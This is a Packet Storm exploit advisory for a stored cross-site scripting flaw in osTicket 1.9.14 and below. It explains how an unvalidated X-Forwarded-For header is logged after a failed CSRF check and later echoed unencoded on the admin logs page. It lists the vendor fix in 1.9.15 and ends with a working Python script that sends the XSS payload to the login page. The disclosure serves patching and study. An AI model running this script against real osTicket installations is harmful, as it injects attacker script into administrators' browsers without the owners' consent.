Osticket 1.9.14 Cross Site Scripting

2016-11-25T00:00:00
ID PACKETSTORM:139904
Type packetstorm
Reporter Joaquin Ramirez Martinez
Modified 2016-11-25T00:00:00

Description

                                        
                                            `# Exploit Title: Osticket 1.9.14 and below (X-Forwarded-For) Stored XSS.  
# Date: 24-11-2016  
# Exploit Author: Joaquin Ramirez Martinez [ i0-SEC ]  
# Software Link: http://osticket.com/  
# Vendor: Osticket  
  
"""  
==============  
DESCRIPTION  
==============  
  
**osTicket** is a widely-used open source support ticket system. It seamlessly  
integrates inquiries created via email, phone and web-based forms into a  
simple easy-to-use multi-user web interface. Manage, organize and archive  
all your support requests and responses in one place while providing your  
customers with accountability and responsiveness they deserve.  
  
(copy of Osticket - README.md)  
  
=======================  
VULNERABILITY DETAILS  
=======================  
  
file `osticket/upload/bootstrap.php` contains this   
snippet of code (line 337-340):  
  
...  
  
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))  
// Take the left-most item for X-Forwarded-For  
$_SERVER['REMOTE_ADDR'] = trim(array_pop(  
explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])));  
  
....  
  
The $_SERVER['REMOTE_ADDR'] value gets overrided with the `X-Forwarded-For` header value,  
at this point, it is not a vulnerability but...  
file `osticket/upload/include/class.osticket.php` line 309-315 :  
  
...  
  
//Save log based on system log level settings.  
$sql='INSERT INTO '.SYSLOG_TABLE.' SET created=NOW(), updated=NOW() '  
.',title='.db_input(Format::sanitize($title, true))  
.',log_type='.db_input($loglevel[$level])  
.',log='.db_input(Format::sanitize($message, false))  
.',ip_address='.db_input($_SERVER['REMOTE_ADDR']);  
  
db_query($sql, false);  
  
....  
  
  
Everytime when a csrf attack is dettected (checking `X_CSRFTOKEN` header or the post parameter `__CSRFToken__`),   
Osticket saves into database the user controled value $_SERVER['REMOTE_ADDR'] even if it has an invalid format.  
  
Finally the XSS is triggered when a user who can see the system logs like an administrator, visits  
the /scp/logs.php URI. It happens because osticket does not encode the output of the data stored into the database.  
  
The code responsible for lanching the XSS is located in `osticket/upload/include/staff/syslogs.inc-php`  
line 142...  
  
...  
<td><?php echo $row['ip_address']; ?></td>  
...  
  
So...  
  
An attacker can make an HTTP request with a header `X-Forwarded-For` containing the XSS payload   
with an invalid CSRF token to the login interface waiting for an administrator to view the logs and trigger the XSS.  
  
  
================  
DEMONSTRATION  
================  
  
Demo video: https://www.youtube.com/watch?v=lx_WlL89F70  
  
The demo also show a low severity XSS vulnerability in the helpdesk name/title of osticket.  
  
  
================  
REFERENCES  
================  
  
https://github.com/osTicket/osTicket/releases  
https://github.com/osTicket/osTicket/releases/tag/v1.9.15  
  
X-Forwarded-For XSS:  
  
https://github.com/osTicket/osTicket/pull/3439  
https://github.com/osTicket/osTicket/commit/4396f91cdc990b7da598a7562eb634b89314b631  
  
heldeskt name/tile XSS:  
  
https://github.com/osTicket/osTicket/pull/3439  
https://github.com/osTicket/osTicket/commit/2fb47bd84d1905b49beab05fcf3f01b00a171c37  
  
================  
MITIGATIONS  
================  
  
update to version 1.9.15 or later  
  
================  
CREDITS  
================  
  
Vulnerability discovered by Joaquin Ramirez Martinez  
  
https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q/videos  
https://twitter.com/rammarj  
  
================  
TIMELINE  
================  
  
13-07-2016 - Vulnerability found  
19-09-2016 - Osticket knew the flaws  
01-11-2016 - Osticket patches vulnerabilities (v1.9.15 released)  
24-11-2016 - Public disclosure.  
  
  
"""  
import urllib  
import urllib2  
from optparse import OptionParser  
  
options = OptionParser(usage='python %prog [options]', description='Stored XSS')  
options.add_option('-t', '--target', type='string', default='http://localhost', help='(required) example: http://localhost')  
options.add_option('-p', '--path', type='string', default='/', help='osticket path. Default: /')  
options.add_option('-x', '--payload', type='string', default='<svg/onload=alert(/Osticket_XSSed_by_i0-sec/)>'  
, help='xss payload. Default: "<svg/onload=alert(/Osticket_XSSed_by_i0-sec/)>"')  
  
banner = """   
  
======================================================   
OSTICKET   
"The most popular ticketing system in the world"  
Stored XSS  
  
by i0-sec (Joaquin R. M.)  
======================================================  
  
"""  
  
def main():  
opts,args = options.parse_args()   
print(banner)  
server = opts.target  
path = opts.path  
body = urllib.urlencode({"__CSRFToken__":"invalid", "do":"scplogin", "userid":"invalid", "passwd":"invalid", "submit":""})   
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36",  
"Content-type": "application/x-www-form-urlencoded", "X-Forwarded-For": opts.payload}  
url = server+path+"/scp/login.php" #default login interface URI for OSTICKET  
print('[+] Connecting to '+server+path)  
req = urllib2.Request(url, body, headers)  
try:  
print('[+] Sending payload... ')  
response = urllib2.urlopen(req)  
html = response.read()  
except Exception, e:  
pass  
print '[+] Payload sent.'  
print '[+] Completed.\n'  
  
if __name__ == '__main__':  
main()  
`